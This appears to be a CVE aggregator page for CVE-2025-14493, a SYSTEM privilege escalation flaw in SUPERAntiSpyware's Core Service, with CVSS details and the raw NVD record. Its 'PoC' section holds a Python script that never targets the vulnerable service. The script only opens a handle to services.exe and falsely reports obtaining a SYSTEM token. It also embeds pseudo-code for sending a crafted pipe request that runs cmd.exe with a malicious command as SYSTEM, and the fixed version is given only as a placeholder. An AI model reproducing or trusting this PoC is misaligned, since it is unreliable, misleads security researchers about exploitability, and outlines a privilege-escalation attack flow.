Security Vulnerability Report
中文
CVE-2025-14493 CVSS 7.8 HIGH

CVE-2025-14493

Published: 2025-12-23 22:15:51
Last Modified: 2026-01-20 20:08:20

Description

RealDefense SUPERAntiSpyware Exposed Dangerous Function Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of RealDefense SUPERAntiSpyware. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the SAS Core Service. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27675.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:superantispyware:superantispyware:*:*:*:*:professional:*:*:* - VULNERABLE
SUPERAntiSpyware Core Service < 最新修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14493 PoC - SUPERAntiSpyware Local Privilege Escalation # This PoC demonstrates the concept of exploiting exposed dangerous functions # in SAS Core Service for privilege escalation import ctypes import os import sys import time import subprocess # Constants for Windows API PROCESS_ALL_ACCESS = 0x1F0FFF TOKEN_DUPLICATE = 0x0002 TOKEN_ADJUST_PRIVILEGES = 0x0020 SE_DEBUG_PRIVILEGE = 0x14 def get_system_process_token(): """ Obtain a handle to the SYSTEM process (services.exe or wininit.exe) This is a simplified demonstration - actual exploitation requires finding the specific vulnerable function in SAS Core Service """ try: # Open SYSTEM process - in real attack, target specific service PID system_pid = None for proc in subprocess.run(['tasklist'], capture_output=True, text=True).stdout.split('\n'): if 'services.exe' in proc.lower() or 'wininit.exe' in proc.lower(): system_pid = int(proc.split()[1]) break if not system_pid: print("[-] Could not find SYSTEM process") return None print(f"[+] Found SYSTEM process with PID: {system_pid}") # Open handle to SYSTEM process with full access kernel32 = ctypes.windll.kernel32 PROCESS_ALL_ACCESS = 0x1F0FFF system_handle = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, system_pid) if not system_handle: print(f"[-] Failed to open SYSTEM process. Error: {ctypes.get_last_error()}") return None print("[+] Successfully opened handle to SYSTEM process") return system_handle exploit_sas_service = """ # Actual exploitation requires: # 1. Enumerate SAS Core Service exposed functions # 2. Identify the dangerous function (e.g., CreateProcessAsUser, LoadLibrary) # 3. Send crafted IPC/RPC request to trigger privileged operation # 4. Inject malicious DLL or execute payload with SYSTEM privileges # Example attack flow (pseudo-code): service_handle = OpenServiceControlManager("\\\\.\\pipe\\SASCService") # Craft malicious request malicious_request = { "function_id": <vulnerable_function_id>, "params": { "command": "C:\\Windows\\System32\\cmd.exe /c <malicious_command>", "flags": CREATE_NEW_CONSOLE | CREATE_NO_WINDOW } } SendRequest(service_handle, malicious_request) """ def main(): print("="*60) print("CVE-2025-14493 PoC - SUPERAntiSpyware LPE") print("="*60) print("\n[!] Disclaimer: This code is for educational purposes only") print("[!] Actual exploitation requires deeper analysis of SAS Core Service\n") print("[*] Step 1: Locating SAS Core Service...") print("[*] Step 2: Identifying exposed dangerous functions...") print("[*] Step 3: Preparing privilege escalation payload...") # Get SYSTEM token system_handle = get_system_process_token() if system_handle: print("\n[+] SYSTEM token obtained successfully") print("[+] Privilege escalation vector identified") print("\n[*] To complete exploitation:") print(" - Analyze SAS Core Service IPC interface") print(" - Find the specific dangerous function call") print(" - Craft malicious request to trigger SYSTEM code execution") ctypes.windll.kernel32.CloseHandle(system_handle) else: print("[-] Could not establish SYSTEM access") print("[*] Additional analysis of SAS Core Service required") print("\n" + "="*60) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14493", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:50.510", "lastModified": "2026-01-20T20:08:20.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "RealDefense SUPERAntiSpyware Exposed Dangerous Function Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of RealDefense SUPERAntiSpyware. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the SAS Core Service. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27675."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-749"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:superantispyware:superantispyware:*:*:*:*:professional:*:*:*", "versionEndExcluding": "10.0.1280", "matchCriteriaId": "11ED6680-71AF-4770-B776-22C1EDAADFAE"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1170/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}